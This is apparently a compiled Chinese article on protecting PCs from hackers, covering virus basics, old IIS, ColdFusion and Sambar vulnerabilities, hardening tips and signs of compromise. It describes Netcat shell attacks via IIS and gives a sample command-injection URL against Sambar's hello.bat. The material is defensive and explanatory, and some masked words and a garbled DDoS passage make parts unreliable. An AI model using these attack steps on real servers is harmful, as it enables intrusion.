怎样防止黑客入侵电脑 九个设置让电脑远离黑客

让电脑远离黑客，可以用杀毒软件和安全卫士。

电脑病毒是指编制者在电脑程序中插入的破坏电脑功能或者破坏数据的，影响电脑使用并且能够自我复制的一组电脑指令或程序代码。与生物中的病毒不一样，电脑病毒不是天然存在的，是某些人利用电脑软件和硬件固有的脆弱性编制的一组指令集或程序代码。它能通过某种途径潜伏在电脑的存储介质里，当达到某种条件时被激活，通过修改其它程序的 *** 把恶意代码或程序放入其它程序中，从而感染这些程序。如“熊猫烧香”是病毒的典型代表。

现在已经发现并正式命名的电脑病毒有几百种，如耶路撒冷、巴基斯坦智囊、维也纳、冰岛人、 *** 、磁盘杀手、快乐的星期天、小球、疯狂拷贝、下雨、音乐、1505、1704、648、405。

电脑病毒按其产生的后果分为良性病毒和恶性病毒。良性病毒发作时不破坏系统数据，只占用系统资源的病毒，一般只是占用电脑资源，产生一些无所谓的消耗，或干扰机器的运行，如小球病毒。恶性病毒一旦发作便会破坏数据或系统的病毒，如 *** 病毒等。

以病毒的寄生方式分类，可以分为操作系统型病毒、外壳病毒、入侵病毒和源码病毒。

操作系统型病毒——运行时，用自己的逻辑部分取代部分操作系统的程序模块，如 *** 病毒、磁盘杀手等。

外壳病毒——把病毒自身包围在主程序的四周，对原来的程序不做修改，在运行主程序时，病毒首先进入内存。如耶路撒冷、维也纳、快乐的星期天等。

入侵病毒——侵入到现有程序之中，实际上把病毒插入到主程序中去。

源码病毒——在程序被编译之前插入到一些编程语言编写的程序中。

电脑病毒的传染途径通常有三种：软盘的互换使用、硬盘的感染和电脑 *** 的传染。

电脑病毒主要寄生在磁盘的引导扇区、可执行文件、硬盘的主引导扇区中。

电脑感染了病毒后，程序装入的时间比平时长很多，可执行程序的长度增加，磁盘访问的时间比平时长，有异常的磁盘访问，有规律地发现异常信息，可用系统空间不断变小，磁盘的不可用数增多，数据和程序丢失，打印时出现问题，频繁死机，磁盘的卷名发生了变化，使用关闭写保护的软盘时屏幕上出现软盘写保护的信息，异常要求输入口令，机器发出怪叫声，command.com、autoexec.bat、config.sys等文件已经被修改，出现异常的隐含文件。

电脑一旦染上了病毒就必须予以清除。杀毒软件也叫做反病毒软件和防毒软件，是用于消除电脑病毒、特洛伊木马和恶意软件的一类软件。杀毒软件通常集成监控识别、病毒扫描清除和自动升级等功能，有的杀毒软件还带有数据恢复等功能，是电脑防御系统的重要组成部分。

主流的杀毒软件有360、金山毒霸、瑞星杀毒软件等， *** 了杀毒、防毒、实时监控和防火墙功能。

360杀毒软件的主界面，简洁大方，功能列表一目了然，单击【快速扫描】按钮，进入查杀状态。

杀毒结束后，会给出杀毒报告，根据提示进行相应的操作。

杀毒的基本原理是把磁盘上的文件与病毒库里的病毒特征进行对比，在满足特点后认定为病毒，杀毒软件默认进行杀毒操作，并把病毒进行隔离。

杀毒软件处于启用状态，在状态栏的右端显示有小图标，右击这个图标，会给出相应快捷菜单列表，可以根据需要有针对性地启用杀毒功能。

发现病毒越早越好。能够在病毒产生危害之前发现和排除它，可以使系统免受危害。能够在病毒广泛传播之前发现它，可以使系统修复的任务较轻，较容易。病毒在系统内存在的时间越长，产生的危害就越大。

*** 黑客是怎么操作的

Web服务器将成为下一代黑客施展妖术的对象。在很大程度上，进行这种攻击只需一个Web浏览器和一个创造性的头脑。以前，黑客的攻击对象集中在操作系统和 *** 协议上，但随着这些攻击目标的弱点和漏洞逐渐得到修补，要进行这类攻击已经变得非常困难。操作系统正在变得更加稳健，对攻击的抵抗能力日益提高。随着身份验证和加密功能渐渐被内置到 *** 协议中， *** 协议也变得更加安全。此外，防火墙也越来越智能，成为 *** 和系统的外部保护屏障。

另一方面，电子商务技术正在日益普及开来，其复杂性有增无减。基于Web的应用程序正在与基本的操作系统和后端数据库更加紧密地集成在一起。遗憾的是，人们在基于Web的基础设施安全性方面所做的工作还很不够。Web服务器和Web应用程序中的弱点被发现的速度为何这么快呢？

有很多因素促成了这种Web黑客活动的快速增加。其中最主要的原因是防火墙允许所有的Web通信都可以进出 *** ，而防火墙无法防止对Web服务器程序及其组件或Web应用程序的攻击。第二个原因是，Web服务器和基于Web的应用程序有时是在“功能之一，安全其次”的思想指导下开发出来的。

当您的Web服务器面临巨大威胁时，怎样保障它们的安全呢？这就需要您不断了解新信息，新情况，每天跟踪您所用服务器的有关网站，阅读相关新闻并向它进行咨询。为了让你着手这方面的工作，下面介绍黑客对NT系统的四种常用攻击手段，同时介绍如何防止这类攻击。

Microsoft IIS i *** .dll缓冲区溢出

受影响的服务器：运行IIS 4.0并带有“Service Pack 3/4/5”的Windows NT服务器

Microsoft IIS缓冲区溢出这一安全弱点是Web服务器无时不有的重大缺陷之一。该弱点被称为IIS

eEye，这个名称来自发现此问题的一个小组。在实施缓冲区溢出攻击时，黑客向目标程序或服务输入超出程序处理能力的数据，导致程序突然终止。另外，还可以通过设置，在执行中的程序终止运行前，用输入的内容来覆盖此程序的某些部分，这样就可以在服务器的安全权限环境下执行任意黑客命令。

eEye发现，IIS用来解释HTR文件的解释程序是i *** .dll，它对缓冲区溢出攻击的抵抗力十分脆弱。如果攻击者将一个以.htr结尾的超长文件名（大约3,000个字符，或更多）传递给IIS，那么输入值将在i *** .dll中造成输入缓冲区溢出，并导致IIS崩溃。如果攻击者输入的不是一串字母而是可执行代码（通常称为“鸡蛋”或“外壳代码”），那么在IIS终止之前将执行该代码。由eEye小组发现的这一攻击 *** 包括三个步骤：

1．创建一个用于侦听任意TCP端口上连接活动的程序。一旦接收到连接信号，该程序将执行一个Windows命令外壳程序(cmd.exe)，并将该外壳与连接绑定在一起。这个程序是经过修改的Netcat。Netcat是一个流行的 *** 连接实用程序，其源代码可以免费获得。

2．在IIS的i *** .dll中制造缓冲区溢出，并使IIS从外部Web站点下载侦听程序（由步骤1产生）。

3．执行刚下载的程序（由步骤2产生），该程序将等待传入的连接并使攻击者进入Windows命令外壳程序中。

由于缓冲区溢出导致IIS在崩溃之前转而运行Windows命令外壳，所以该外壳程序将在IIS的安全权限背景下运行，而该安全权限背景等价于NT

Administrator权限。这样，攻击者要做的只是与被攻击的IIS服务器的侦听端口建立连接，然后等着出现c:提示就万事大吉了。现在，攻击者拥有对整个NT服务器的管理权限，可以做任何事，比如，添加新用户、修改服务器的内容、格式化驱动器，甚至将该服务器用作攻击其它系统的踏脚石。

运行IIS 4.0并带有“Service Pack 3/4/5”的Windows

NT服务器容易受到此类攻击。Microsoft已经发布了对该弱点的修补程序。Windows NT Service Pack

6也已经修补了该问题。

Microsoft IIS MDAC RDS安全弱点

受影响的服务器：运行IIS 4.0并安装了MDAC 2.1或更早版本的Windows NT服务器

在发现IIS eEye安全弱点的大约一个月后，IIS

4.0的另一个弱点又暴露出来。使用Microsoft数据访问组件(MDAC)和远程数据服务(RDS)，攻击者可以建立非法的ODBC连接，并获得对Web服务器上的内部文件的访问权。如果安装了Microsoft

Jet OLE DB提供程序或Datashape提供程序，攻击者可以使用Visual Basic for Applications

shell()函数发出能够在服务器上执行的命令。

在安装了MDAC 2.1或更高版本的IIS 4.0上，从位于其公共目录中的msadcmsadcs.dll，可以找到MDAC

RDS弱点。Rain Forest

Puppy在其站点中对该弱点进行了详细说明。该弱点利用了IIS上MDAC默认安装时的不适当配置和安全机制的缺乏这一漏洞。在等价于NT

Administrator的IIS Web服务器进程的安全权限背景下，进行这种攻击的黑客可以在NT系统上远程执行任意命令。

MDAC的弱点不是由于技术造成的，而是由于用户对它的配置方式所致。很多站点是通过NT Option Pack 4.0安装IIS

4.0的。如果NT Option Pack

4.0是以典型或默认配置安装的，那么MDAC就容易遭到这种攻击。大多数使用默认安装的系统管理员都没有具体调整过这些设置，从而使Web服务器的安全性大大降低。

Foundstone公司的George Kurtz、Purdue大学的Nitesh

Dhanjani和我曾经共同设计了一个只有一行的命令字符串，该命令将利用MDAC

RDS弱点，使远程NT系统启动一个通过FTP或TFTP进行的文件传输过程。这个命令将告诉服务器到从某个外部系统下载并执行Netcat。Netcat将运行Windows命令外壳程序，并建立一个返回攻击者计算机的连接，这样，攻击者就获得了对远程NT系统的完全管理控制权。

Microsoft已经发布了相应的安全公告，并对使IIS 4.0免受该弱点攻击的保护措施进行了说明。

Allaire ColdFusion 4.0弱点

受影响的服务器：运行在Windows NT上的Allaire ColdFusion Server 4.0

作为还算容易使用的、功能强大的脚本语言，ColdFusion已经广泛流行起来。但流行并不意味着安全。ColdFusion的问题不在于该服务器自身，而是在于它附带的脚本。ColdFusion

4.0提供了示范应用程序和范例，它们可以在位于Web服务器根目录中的cfdocsexampleapp和cfdocsexpeval目录中找到。当用户执行典型安装时，将安装这些应用程序和脚本。ColdFusion所附带的部分范例经过修改后，将允许非法访问服务器上所包含的敏感数据。这些弱点表明，基本的应用程序服务器可以被编写得不好的应用程序脚本歪曲利用。

存在这种弱点的一个范例应用程序是cfdocsexampleappdocssourcewindow.cfm。因为ColdFusion是作为具有Administrator权限的系统服务运行的，所以，该程序可以被用来任意访问和查看NT

Web服务器上的任何文件，包括boot.ini。用这种 *** 可以检索任何文件。Packet Storm对该弱点做了完整解释。

而更严重的弱点存在于cfdocsexpevalopenfile.cfm、cfdocsexpevaldisplayopenedfile.cfm和cfdocsexpevalexprcalc.cfm中。这三个文件可以用来查看服务器上的任何文件，更为严重的是，它们还能将任意文件上载到服务器。对该弱点如何发作的讨论超出了本文的范围，欲了解详细信息请访问L0pht

Heavy

Industries的咨询信息。表达式求值程序exprcalc.cfm用于让开发人员计算被上载文件中的ColdFusion表达式的值。作为预防手段，该脚本在进行表达式计算时便会把被上载的文件删除掉，但要避免删除却是件容易的事。这样，攻击者可以上载恶意文件，并最终控制服务器。

这些就是ColdFusion的示范脚本中最严重的弱点。要防止出现问题，请从任何运行中的服务器中删除ColdFusion示范脚本。Allaire的Security

Zone提供了补丁程序，并提供了如何保护ColdFusion服务器的进一步信息。

Sambar 4.3 hello.bat

受影响的服务器：运行在Windows NT上的Sambar 4.3 beta 7和更早版本

Sambar是提供给开发者的免费Web服务器。它提供了对CGI和WinCGI脚本、ODBC脚本以及ISAPI的支持。它甚至捆绑了Perl

5解释器。

Sambar 4.3 beta

7版和更早版本附带两个名为hello.bat和echo.bat的文件，它们是将Windows批处理文件用作CGI脚本的范例。这两个脚本本身没有问题，hello.bat显示字符串“Hello

World”，而echo.bat显示字符串“Place

Holder”。但当批处理文件被用作CGI脚本时，Web服务器将使用Windows命令外壳程序cmd.exe来运行它们。这样，攻击者可以利用该弱点针对目标服务器运行任意命令。例如，假如攻击者把URL

http://target.site/cgi-bin/hello.bat?dir+c:放在他或她的浏览器中，那么，将在服务器上运行命令“dir

c:”，并在浏览器上显示结果。由于Sambar是在NT

Administrator安全权限下运行的，因此事情会变得更为复杂。这样的权限等级可以让攻击者作为NT Administrator运行任意命令。

Windows命令外壳使用“”在相同命令行上分隔多个命令。如果用户将“”放在hello.bat的后面，并在其后添加一个命令，那么将在执行hello.bat后执行第二个命令。

由于已经删除了文件hello.bat和echo.bat，Sambar 4.3 beta

8版和更高版本没有该弱点。但是，由于Windows命令外壳程序解析命令行的方式无法改变，所以并没有办法能真正修正该问题。如果您安装了4.3

beta 7版或更低版本，请一定要删除hello.bat和echo.bat。

黑客入侵怎么办 九个防黑客入侵电脑的防护技巧

那么黑客入侵怎么办呢？我们不妨采用以下九中电脑安全设置，可以很有效的避免多数黑客入侵行为。这些也是很多服务器会进行的加强安全设置，如果你电脑中也有一些隐私或者重要数据，更好加强下安全防护设置吧。.黑客Dos命令大全 入门dos命令教程一、计算机的设置1.关闭“文件和打印共享”文件和打印共享应该是一个非常有用的功能，但在不需要它的时候，也是黑客入侵的很好的安全漏洞。所以在没有必要“文件和打印共享”的情况下，我们可以将它关闭。用鼠标右击“ *** 邻居”，选择“属性”，然后单击“文件和打印共享”按钮，将弹出的“文件和打印共享”对话框中的两个复选框中的钩去掉即可。 虽然“文件和打印共享”关闭了，但是还不能确保安全，还要修改注册表，禁止它人更改“文件和打印共享”。打开注册表编辑器，选择“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NetWork”主键，在该主键下新建DWORD类型的键值，键值名为“NoFileSharingControl”，键值设为“1”表示禁止这项功能，从而达到禁止更改“文件和打印共享”的目的;键值为“0”表示允许这项功能。这样在“ *** 邻居”的“属性”对话框中“文件和打印共享”就不复存在了。2.把Guest账号禁用有很多入侵都是通过这个账号进一步获得管理员密码或者权限的。如果不想把自己的计算机给别人当玩具，那还是禁止的好。打开控制面板，双击“用户和密码”，单击“高级”选项卡，再单击“高级”按钮，弹出本地用户和组窗口。在Guest账号上面点击右键，选择属性，在“常规”页中选中“账户已停用”。另外，将Administrator账号改名可以防止黑客知道自己的管理员账号，这会在很大程度上保证计算机安全。3.禁止建立空连接在默认的情况下，任何用户都可以通过空连接连上服务器，枚举账号并猜测密码。因此，我们必须禁止建立空连接。 *** 是修改注册表：打开注册表“HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA”，将DWORD值“RestrictAnonymous”的键值改为“1”即可。二、 安装必要的安全软件

我们还应在电脑中安装并使用必要的防黑软件，杀毒软件和 防火墙 都是必备的。在上网时打开它们，这样即便有黑客进攻我们的安全也是有保证的。建议大家都安装一下主流的杀毒软件，如360或者金山等。三、关闭不必要的端口黑客在入侵时常常会扫描你的计算机端口，如果安装了端口监视程序(比如Netwatch)，该监视程序则会有警告提示。如果遇到这种入侵，可用工具软件关闭用不到的端口。四、不要回陌生人的邮件有些黑客可能会冒充某些正规网站的名义，然后编个冠冕堂皇的理由寄一封信给你要求你输入上网的用户名称与密码，如果按下“确定”，你的帐号和密码就进了黑客的邮箱。所以不要随便回陌生人的邮件，即使他说得再动听再诱人也不上当。五、更换管理员帐户Administrator帐户拥有更高的系统权限，一旦该帐户被人利用，后果不堪设想。黑客入侵的常用手段之一就是试图获得Administrator帐户的密码，所以我们要重新配置Administrator帐号。首先是为Administrator帐户设置一个强大复杂的密码，然后我们重命名Administrator帐户，再创建一个没有管理员权限的Administrator帐户欺骗入侵者。这样一来，入侵者就很难搞清哪个帐户真正拥有管理员权限，也就在一定程度上减少了危险性。六、隐藏IP地址黑客经常利用一些 *** 探测技术来查看我们的主机信息，主要目的就是得到 *** 中主机的IP地址。IP地址在 *** 安全上是一个很重要的概念，如果攻击者知道了你的IP地址，等于为他的攻击准备好了目标，他可以向这个IP发动各种进攻，如DoS( 拒绝服务 )攻击、Floop溢出攻击等。隐藏IP地址的主要 *** 是使用 *** 服务器。与直接连接到Internet相比，使用 *** 服务器能保护上网用户的IP地址，从而保障上网安全。 *** 服务器的原理是在客户机(用户上网的计算机)和远程服务器(如用户想访问远端WWW服务器)之间架设一个“中转站”，当客户机向远程服务器提出服务要求后， *** 服务器首先截取用户的请求，然后 *** 服务器将服务请求转交远程服务器，从而实现客户机和远程服务器之间的联系。很显然，使用 *** 服务器后，其它用户只能探测到 *** 服务器的IP地址而不是用户的IP地址，这就实现了隐藏用户IP地址的目的，保障了用户上网安全。提供免费 *** 服务器的网站有很多，你也可以自己用 *** 猎手等工具来查找。七、防范木马程序木马程序会窃取所植入电脑中的有用信息，因此我们也要防止被黑客植入木马程序，常用的办法有：1、在下载文件时先放到自己新建的文件夹里，再用杀毒软件来检测，起到提前预防的作用。2、在“开始”→“程序”→“启动”或“开始”→“程序”→“Startup”选项里看是否有不明的运行项目，如果有，删除即可。将注册表里 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run下的所有以“Run”为前缀的可疑程序全部删除即可。八、杜绝Guest帐户的入侵Guest帐户即所谓的来宾帐户，它可以访问计算机，但受到限制。不幸的是，Guest也为黑客入侵打开了方便之门!网上有很多文章中都介绍过如何利用Guest用户得到管理员权限的 *** ，所以要杜绝基于Guest帐户的系统入侵。禁用或彻底删除Guest帐户是更好的办法，但在某些必须使用到Guest帐户的情况下，就需要通过其它途径来做好防御工作了。首先要给Guest设一个强壮的密码，然后详细设置Guest帐户对物理路径的访问权限。举例来说，如果你要防止Guest用户可以访问tool文件夹，可以右击该文件夹，在弹出菜单中选择“安全”标签，从中可看到可以访问此文件夹的所有用户。删除管理员之外的所有用户即可。或者在权限中为相应的用户设定权限，比方说只能“列出文件夹目录”和“读取”等，这样就安全多了。

九、做好IE的安全设置ActiveX控件和 Applets有较强的功能，但也存在被人利用的隐患，网页中的恶意代码往往就是利用这些控件编写的小程序，只要打开网页就会被运行。所以要避免恶意网页的攻击只有禁止这些恶意代码的运行。IE对此提供了多种选择，具体设置步骤是：“工具”→“Internet选项”→“安全”→“自定义级别”，建议您将ActiveX控件与相关选项禁用。谨慎些总没有错!另外，在IE的安全性设定中我们只能设定Internet、本地Intranet、受信任的站点、受限制的站点。不过，微软在这里隐藏了“我的电脑”的安全性设定，通过修改注册表把该选项打开，可以使我们在对待ActiveX控件和 Applets时有更多的选择，并对本地电脑安全产生更大的影响。下面是具体的 *** ：1、打开“开始”菜单中的“运行”，在弹出的“运行”对话框中输入Regedit.exe。2、打开注册表编辑器，点击前面的“+”号顺次展开到：HKEY_CURRE-NT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Zones\03、在右边窗口中找到DWORD值“Flags”，默认键值为十六进制的21(十进制33)，双击“Flags”，4、在弹出的对话框中将它的键值改为“1”即可，关闭注册表编辑器。无需重新启动电脑，重新打开IE，再次点击“工具→Internet选项→安全”标签，你就会看到多了一个“我的电脑”图标，在这里你可以设定它的安全等级。将它的安全等级设定高些，这样的防范更严密。5、最后建议给自己的系统打上补丁， 微软那些补丁还是很有用的。扩展链接：dos命令大全 分享黑客必知的DOS命令。

怎样设置win7的本地安全策略来防止黑客攻击

1、点击“开始”，在搜索框中输入“本地安全策略”，点击“本地安全策略”，就可以打开了。如图1所示

2、打开“本地安全策略”界面，点击“本地策略”——“安全选项”，找到“ *** 访问：可远程访问的注册表路径”和“ *** 访问：可远程访问的注册表路径和子路径”这两个选项。如图2所示

3、双击打开“ *** 访问：可远程访问的注册表路径”，删除“注册表路径”，点击“确定”。如图3所示

4、双击打开“ *** 访问：可远程访问的注册表路径和子路径”，删除“注册表路径”，点击“确定”。如图4所示

*** 安全中常见的黑客攻击方式？

1、后门程序

由于程序员设计一些功能复杂的程序时，一般采用模块化的程序设计思想，将整个项目分割为多个功能模块，分别进行设计、调试，这时的后门就是一个模块的秘密入口。在程序开发阶段，后门便于测试、更改和增强模块功能。正常情况下，完成设计之后需要去掉各个模块的后门，不过有时由于疏忽或者其他原因（如将其留在程序中，便于日后访问、测试或维护）后门没有去掉，一些别有用心的人会利用穷举搜索法发现并利用这些后门，然后进入系统并发动攻击。

2、信息炸弹

信息炸弹是指使用一些特殊工具软件，短时间内向目标服务器发送大量超出系统负荷的信息，造成目标服务器超负荷、 *** 堵塞、系统崩溃的攻击手段。比如向未打补丁的 Windows 95系统发送特定组合的 UDP 数据包，会导致目标系统死机或重启；向某型号的路由器发送特定数据包致使路由器死机；向某人的电子邮件发送大量的垃圾邮件将此邮箱“撑爆”等。目前常见的信息炸弹有邮件炸弹、逻辑炸弹等。

3.DOS攻击

分为DOS攻击和DDOS攻击。DOS攻击它是使用超出被攻击目标处理能力的大量数据包消耗系统可用系统、带宽资源，最后致使 *** 服务瘫痪的一种攻击手段。作为攻击者，首先需要通过常规的黑客手段侵入并控制某个网站，然后在服务器上安装并启动一个可由攻击者发出的特殊指令来控制进程，攻击者把攻击对象的IP地址作为指令下达给进程的时候，这些进程就开始对目标主机发起攻击。这种方式可以集中大量的 *** 服务器带宽，对某个特定目标实施攻击，因而威力巨大，顷刻之间就可以使被攻击目标带宽资源耗尽，导致服务器瘫痪。比如1999年美国明尼苏达大学遭到的黑客攻击就属于这种方式。DDOS攻击是黑客进入计算条件，一个磁盘操作系统（拒绝服务）或DDoS攻击（分布式拒绝服务）攻击包括努力中断某一 *** 资源的服务，使其暂时无法使用。

这些攻击通常是为了停止一个互联网连接的主机，然而一些尝试可能的目标一定机以及服务。DDOS没有固定的地方，这些攻击随时都有可能发生；他们的目标行业全世界。分布式拒绝服务攻击大多出现在服务器被大量来自攻击者或僵尸 *** 通信的要求。

服务器无法控制超文本传输协议要求任何进一步的，最终关闭，使其服务的合法用户的一致好评。这些攻击通常不会引起任何的网站或服务器损坏，但请暂时关闭。

这种 *** 的应用已经扩大了很多，现在用于更恶意的目的；喜欢掩盖欺诈和威慑安防面板等。

4、 *** 监听

*** 监听是一种监视 *** 状态、数据流以及 *** 上传输信息的管理工具，它可以将 *** 接口设置在监听模式，并且可以截获网上传输的信息，也就是说，当黑客登录 *** 主机并取得超级用户权限后，若要登录其他主机，使用 *** 监听可以有效地截获网上的数据，这是黑客使用最多的 *** ，但是， *** 监听只能应用于物理上连接于同一网段的主机，通常被用做获取用户口令。

5.系统漏洞

许多系统都有这样那样的安全漏洞（Bugs），其中某些是操作系统或应用软件本身具有的，如Sendmail漏洞，Windows98中的共享目录密码验证漏洞和IE5漏洞等，这些漏洞在补丁未被开发出来之前一般很难防御黑客的破坏，除非你不上网。还有就是有些程序员设计一些功能复杂的程序时，一般采用模块化的程序设计思想，将整个项目分割为多个功能模块，分别进行设计、调试，这时的后门就是一个模块的秘密入口。在程序开发阶段，后门便于测试、更改和增强模块功能。正常情况下，完成设计之后需要去掉各个模块的后门，不过有时由于疏忽或者其他原因（如将其留在程序中，便于日后访问、测试或维护）后门没有去掉，一些别有用心的人会利用专门的扫描工具发现并利用这些后门，然后进入系统并发动攻击。

6、密码破解当然也是黑客常用的攻击手段之一。

7.诱入法

黑客编写一些看起来“合法”的程序，上传到一些FTP站点或是提供给某些个人主页，诱导用户下载。当一个用户下载软件时，黑客的软件一起下载到用户的机器上。该软件会跟踪用户的电脑操作，它静静地记录着用户输入的每个口令，然后把它们发送给黑客指定的Internet信箱。例如，有人发送给用户电子邮件，声称为“确定我们的用户需要”而进行调查。作为对填写表格的回报，允许用户 *** 多少小时。但是，该程序实际上却是搜集用户的口令，并把它们发送给某个远方的“黑客”

8.病毒攻击

计算机病毒可通过网页、即时通信软件、恶意软件、系统漏洞、U盘、移动硬盘、电子邮件、BBS等传播。

黑客入侵、程序的混乱如何调整

您检查了一下，发现服务器和 *** 真的都慢得出奇。您检查了防火墙的通信量情况，注意到有非常大的Internet通信量。您在服务器上运行Netstat命令，发现服务器上有几个未经授权的连接，并且这些连接看起来都来自Internet。您检查服务器的注册表，注意到有几个陌生的程序被设置为自动加载。那么，现在取消您的旅行计划吧，您这个周末会有一大堆工作要做。您被黑客攻击了。 根据攻击性质的不同，有时并不容易判断出是否已受到黑客攻击。了解该检查哪些方面以及检查什么内容，能帮助您发现黑客的攻击，并且在这些攻击造成进一步破坏之前采取恢复措施。我将会告诉您从哪里查找可能会严重破坏您系统的恶意程序，我还会帮助您作出一个攻击恢复计划。我将会用三个案例来告诉您我是如何使用这些策略来帮助这些机构检测 *** 攻击、从攻击中恢复，并避免将来再受到攻击。

要检查的内容

很显然，您只有发现了黑客的攻击，才能采取措施阻止攻击并使之恢复。那么该从哪里入手呢？每一次的攻击都是独一无二的，但有些地方总是需要您首先检查的。以下是您开始搜索的关键位置。 注册表子项。如果您怀疑某台机器被黑客攻击，请首先检查它的注册表的“Run”子项。查找在这些子项中是否加载了任何陌生的程序。攻击者可以利用 “Run”子项启动恶意程序，入侵者还有可能通过这些子项启动病毒。这些子项适用于以下操作系统：Windows Server 2003、Windows XP、Windows 2000、Windows NT、Windows Me和Windows 9x。这些需要检查的子项包括：

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

\CurrentVersion\Run

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

\CurrentVersion\RunOnce

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

\CurrentVersion\RunServices

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

\CurrentVersion\RunServicesOnce

• HKEY_CURRENT_USER\Software\Microsoft\Windows

\CurrentVersion\Run

• HKEY_CURRENT_USER\Software\Microsoft\Windows

\CurrentVersion\RunOnce

• HKEY_CURRENT_USER\Software\Microsoft\Windows

\CurrentVersion\RunServices

• HKEY_CURRENT_USER\Software\Microsoft\Windows

\CurrentVersion\RunServicesOnce 如果您运行的是Windows 2003、Windows XP、Windows 2000或Windows NT系统，您还需要检查“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion \Policies\Explorer\Run”子项。 任何您无法识别的程序都有可能是黑客程序。您可以用Google或者类似的搜索引擎在Internet上搜索程序名，以确定程序是否合法。您需要特别留意从“C:”、“C:\Windows”和“C:\Windows\System32”加载的程序。强烈建议您养成定期复查这些注册表项的习惯，这样您会熟悉自动加载到您计算机上的所有程序。 下面的一些子项较少被用来启动黑客程序，但您还是需要检查它们。这些子项适用于所有Windows操作系统。如果缺省的注册表项的值不是"%1" %*，那么这个程序很可能是个黑客程序。

• HKEY_CLASSES_ROOT\batfile\shell\open\command

• HKEY_CLASSES_ROOT\comfile\shell\open\command

• HKEY_CLASSES_ROOT\exefile\shell\open\command

• HKEY_CLASSES_ROOT\htafile\shell\open\command

• HKEY_CLASSES_ROOT\piffile\shell\open\command

• HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile

\shell\open\command

• HKEY_LOCAL_MACHINE\SOFTWARE\Classes\comfile

\shell\open\command

• HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile

\shell\open\command

• HKEY_LOCAL_MACHINE\SOFTWARE\Classes\htafila

\shell\open\command

• HKEY_LOCAL_MACHINE\SOFTWARE\Classes\piffile

\shell\open\command 服务。对于所有的Windows操作系统，检查它们的“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services”注册表子项。这个子项下的项目指定了计算机上所定义的服务。我建议您直接在注册表中查看服务而不是使用Windows的“服务”图形界面来查看，因为一些服务（例如类型为1的服务）并不显示在“服务”图形界面中。同样，还是要检查您无法识别的程序。如果可能的话，请与一台您已知并未受到黑客攻击的机器的Services子项对比它的各项以及对应的值，看是否有任何不同之处。 “启动”文件夹。检查“C:\Documents and Settings\All Users\Start Menu\Programs\Startup”和“C:\Documents and Settings\\Start Menu\Programs\Startup”文件夹看是否有陌生的程序和隐藏的文件。要显示当前文件夹及其子文件夹内的所有隐藏文件，在命令提示符处输入： dir /a h /s 任务计划。检查“C:\Windows\tasks”文件夹看是否有未授权的任务。研究您无法识别的任何任务计划。 Win.ini。恶意的用户能够通过“C:\Windows\Win.ini”自动加载黑客程序。请检查“Win.ini”文件中的这一小节： [Windows] Run= Load= 任何在“Run=”或“Load=”后面列出的程序都会在Windows启动时自动加载。 System.ini。入侵者可以在“C:\Windows\System.ini”中利用shell命令加载程序。请在“System.ini”中搜索： [boot] shell=explorer.exe 任何在“explorer.exe”后面列出的程序都会在Windows启动时自动加载 黑客可以在Windows启动时自动加载程序的其它位置。Sysinternals的免费软件Autoruns可以显示出哪些程序被配置为在 Windows NT（以及之后的系统）启动时加载的。您可以从 http://www.sysinternals.com/ntw2k/freeware/autoruns.shtml下载这个工具 .

开放的端口和未授权的用户

在您对关键位置是否有黑客攻击活动做了初步的检查以后，请查找意外或可疑的开放端口。 Root Kit。Root Kit是运行在操作系统级别上的秘密程序，它能够打开有危险的机器的端口，入侵者用它来进行远程访问。Root Kit在UNIX的世界比较常见，但是越来越多恶意的黑客编写它们并利用在Windows上。要判断一台基于Windows的计算机上的连接和正在监听的端口，请打开命令提示符并运行以下命令： Netstat -a 表1列出了在一台Windows XP计算机上通常打开的端口。如果您在某台工作站或服务器上看到有更多的开放端口，请不要惊慌。端口会根据服务的类型进行动态分配。例如，当您远程管理DHCP和WINS的时候，远程过程调用（RPC）会使用动态端口。要了解更多信息，请参考微软的文章“How To Configure RPC Dynamic Port Allocation to Work with Firewall”（ http://support.microsoft.com/?kbid=154596）。当您运行Netstat时，查找以下项目：• 大量已建立的连接（10个或更多，这取决于您的环境），特别是连接到您公司外的IP地址的连接。 • 意外的开放端口，特别是序号较高的端口（例如大于1024的端口号）。黑客程序和Root Kit往往使用高序号的端口建立远程连接。 • 很多待处理的连接尝试。这有可能是SYN Flood Attack的讯号。

• 无法识别的批处理文件。一些Root Kit在下列文件夹中创建批处理文件：“C:\”、“C:\winnt\”、“C:\Windows\”、“C:\winnt\System32”和“C:\Windows\System32”。Root Kit或其它未授权的程序还可以在回收站下创建文件和文件夹，所以请查找回收站文件夹内的隐藏文件夹或未授权的文件夹。缺省情况下，回收站文件位于“C:\recycler”文件夹中。要小心在您清空回收站以后仍残留其中的文件和文件夹。 一些黑客工具能够阻止Netstat显示一台计算机上的开放端口。如果Netstat显示没有可疑的开放端口，但您仍怀疑有，可从另一台计算机运行端口扫描工具来查看目标计算机上有哪些端口是打开的。例如运行源代码开放的实用程序Network Mapper（nmap），您可以从 http://www.insecure.org/nmap下载它。

AD中的恶意用户。当入侵者试图危及系统安全时，他或她有时会在Active Directory（AD）中创建一个或多个恶意用户。通常入侵者创建的这些用户账号的说明字段都是空的。为了对付这种情况，建议您按照一定的命名规则，为AD中的每个授权用户都添加一个说明。然后，您就可以按照说明对用户排序，这样所有没有说明的用户都会出现在列表的顶端。

特权组中的未授权用户。黑客攻击的一个主要目标是扩大权力。检查AD中的特权组（例如Administrators、Domain Admins、Enterprise Admins、Server Operators）看是否存在未授权的组成员。您需要确保限制这些组的成员，以便更容易发现未授权的用户。

为系统止血：恢复计划如果您发现有一个系统被黑客攻击了，请不要惊慌。您需要保持冷静，然后有逻辑地进行处理。以下的行动计划能帮助您减少损失。

